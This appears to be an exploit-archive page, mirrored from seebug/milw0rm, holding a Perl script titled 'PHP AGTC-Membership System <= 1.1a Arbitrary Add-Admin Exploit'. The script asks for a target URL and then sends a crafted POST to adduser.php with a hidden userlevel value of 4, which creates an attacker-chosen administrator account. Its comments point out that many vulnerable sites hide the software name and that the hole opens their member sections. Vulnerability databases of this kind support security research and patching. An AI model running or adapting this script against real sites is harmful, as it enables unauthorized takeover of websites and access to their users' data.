Lucene search
K

PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

PHP AGTC-Membership System Arbitrary Add-Admin Exploi

Code

                                                #!/usr/bin/perl

# Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel.
# Note: alot of sites run this script and they remove the &#34;powered by&#34; dork. Also you can get access to alot of nice site&#39;s member sections using this, since its a member management script.

use strict;
use LWP::UserAgent;

print &#34;-+--[ PHP AGTC-Membership System &#60;= 1.1a Arbitrary Add-Admin Exploit ] --+-\n&#34;;
print &#34;-+-- Discovered && Coded By: t0pP8uZz  /  Discovered On: 16 MAY 2008   --+-\n&#34;;
print &#34;-+-- 1.1a tested, not sure if there are new versions, if there are...  --+-\n&#34;;
print &#34;-+-- ... there probarly affected too. Script Download: agtc.co.uk      --+-\n&#34;;
print &#34;-+--          Greetz: h4ck-y0u.org, milw0rm.com, CipherCrew            --+-\n&#34;;
print &#34;-+--[ PHP AGTC-Membership System &#60;= 1.1a Arbitrary Add-Admin Exploit ] --+-\n&#34;;

print &#34;\nEnter URL(http://site.com): &#34;;
	chomp(my $url=&#60;STDIN&#62;);

print &#34;\nAdmin Username(create&#39;s your admin username): &#34;;
	chomp(my $usr=&#60;STDIN&#62;);
	
print &#34;\nAdmin Password(create&#39;s your admin password): &#34;;
	chomp(my $pwd=&#60;STDIN&#62;);

my $email = &#34;user&#34;.int(rand(9999)).&#34;\@localhost.com&#34;; # generates a random email, if a attacker has already exploited this site, this allows the script to add another admin account.
my $ua    = LWP::UserAgent-&#62;new( agent =&#62; &#34;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#34; );
my $ob    = $ua-&#62;post( $url.&#34;/adduser.php&#34;, { &#34;username&#34; =&#62; $usr, &#34;userpass&#34; =&#62; $pwd, &#34;useremail&#34; =&#62; $email, &#34;userlevel&#34; =&#62; 4, &#34;Submit&#34; =&#62; 1} );

if($ob-&#62;is_success && index($ob-&#62;content, &#34;registered&#34;) != -1) {
	print &#34;Exploit Successfull! Admin Created! Login: $url\n&#34;;
} else { print &#34;Failed. Cause&#39;s: username exists or site not vulnerable, try again!&#34;; }

# milw0rm.com [2008-05-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation